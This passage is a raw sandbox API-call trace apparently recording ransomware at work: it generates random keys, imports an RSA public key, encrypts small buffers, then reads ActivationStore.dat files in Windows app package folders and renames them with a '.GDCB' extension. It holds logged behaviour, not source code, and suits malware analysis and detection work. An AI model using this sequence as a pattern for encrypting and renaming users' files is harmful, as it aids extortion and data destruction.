(hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.204] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.207] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae7f0) returned 1 [0302.207] CryptGetKeyParam (in: hKey=0x67ae7f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.207] CryptEncrypt (in: hKey=0x67ae7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0302.207] GetLastError () returned 0x0 [0302.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.207] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0302.209] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae470) returned 1 [0302.209] CryptGetKeyParam (in: hKey=0x67ae470, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.209] CryptEncrypt (in: hKey=0x67ae470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0302.209] GetLastError () returned 0x0 [0302.209] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0302.209] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0302.210] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdc20000 [0302.213] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdc30000 [0302.215] ReadFile (in: hFile=0x4fc, lpBuffer=0xdc30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdc30000*, lpNumberOfBytesRead=0x285e318*=0x4000, lpOverlapped=0x0) returned 1 [0302.222] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xdd40000 [0302.228] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0302.271] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0302.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.277] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0302.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.277] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0302.280] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.283] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0302.283] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.283] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0302.286] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae7b0) returned 1 [0302.286] CryptGetKeyParam (in: hKey=0x67ae7b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.286] CryptEncrypt (in: hKey=0x67ae7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0302.286] GetLastError () returned 0x0 [0302.286] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.286] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.289] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae830) returned 1 [0302.289] CryptGetKeyParam (in: hKey=0x67ae830, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.289] CryptEncrypt (in: hKey=0x67ae830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0302.289] GetLastError () returned 0x0 [0302.289] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.289] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0302.290] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdc20000 [0302.294] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdc30000 [0302.297] ReadFile (in: hFile=0x4fc, lpBuffer=0xdc30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdc30000*, lpNumberOfBytesRead=0x285e318*=0x8210, lpOverlapped=0x0) returned 1 [0302.305] VirtualAlloc (lpAddress=0x0, dwSize=0x8210, flAllocationType=0x3000, flProtect=0x4) returned 0xdd40000 [0302.311] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0302.363] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0302.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.369] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0302.369] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.369] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0302.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.375] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.375] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0302.375] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.375] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0302.377] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae870) returned 1 [0302.377] CryptGetKeyParam (in: hKey=0x67ae870, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.377] CryptEncrypt (in: hKey=0x67ae870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0302.378] GetLastError () returned 0x0 [0302.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.378] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.380] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae8b0) returned 1 [0302.380] CryptGetKeyParam (in: hKey=0x67ae8b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.380] CryptEncrypt (in: hKey=0x67ae8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0302.380] GetLastError () returned 0x0 [0302.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0302.381] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdc20000 [0302.384] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdc30000 [0302.387] ReadFile (in: hFile=0x4fc, lpBuffer=0xdc30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdc30000*, lpNumberOfBytesRead=0x285e318*=0x4000, lpOverlapped=0x0) returned 1 [0302.400] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xdd40000 [0302.408] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0302.433] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0302.437] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.439] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0302.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.439] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0302.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.444] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0302.444] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.445] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0302.447] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae170) returned 1 [0302.447] CryptGetKeyParam (in: hKey=0x67ae170, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.447] CryptEncrypt (in: hKey=0x67ae170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0302.447] GetLastError () returned 0x0 [0302.447] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.447] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.449] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae1b0) returned 1 [0302.449] CryptGetKeyParam (in: hKey=0x67ae1b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.449] CryptEncrypt (in: hKey=0x67ae1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0302.449] GetLastError () returned 0x0 [0302.449] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.449] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0302.450] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdc20000 [0302.453] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdc30000 [0302.456] ReadFile (in: hFile=0x4fc, lpBuffer=0xdc30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdc30000*, lpNumberOfBytesRead=0x285e318*=0x4000, lpOverlapped=0x0) returned 1 [0302.470] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xdd40000 [0302.476] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 0 [0302.523] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0302.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.529] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.529] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0302.529] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0302.529] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0302.532] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.534] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.535] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0302.535] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.535] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.537] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae130) returned 1 [0302.537] CryptGetKeyParam (in: hKey=0x67ae130, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.537] CryptEncrypt (in: hKey=0x67ae130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0302.537] GetLastError () returned 0x0 [0302.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.537] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.539] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae630) returned 1 [0302.539] CryptGetKeyParam (in: hKey=0x67ae630, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.539] CryptEncrypt (in: hKey=0x67ae630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0302.539] GetLastError () returned 0x0 [0302.539] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0302.540] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdc20000 [0302.543] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdc30000 [0302.546] ReadFile (in: hFile=0x4fc, lpBuffer=0xdc30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdc30000*, lpNumberOfBytesRead=0x285e318*=0x4210, lpOverlapped=0x0) returned 1 [0302.554] VirtualAlloc (lpAddress=0x0, dwSize=0x4210, flAllocationType=0x3000, flProtect=0x4) returned 0xdd40000 [0302.560] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0302.676] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0302.680] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.698] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0302.698] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.698] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 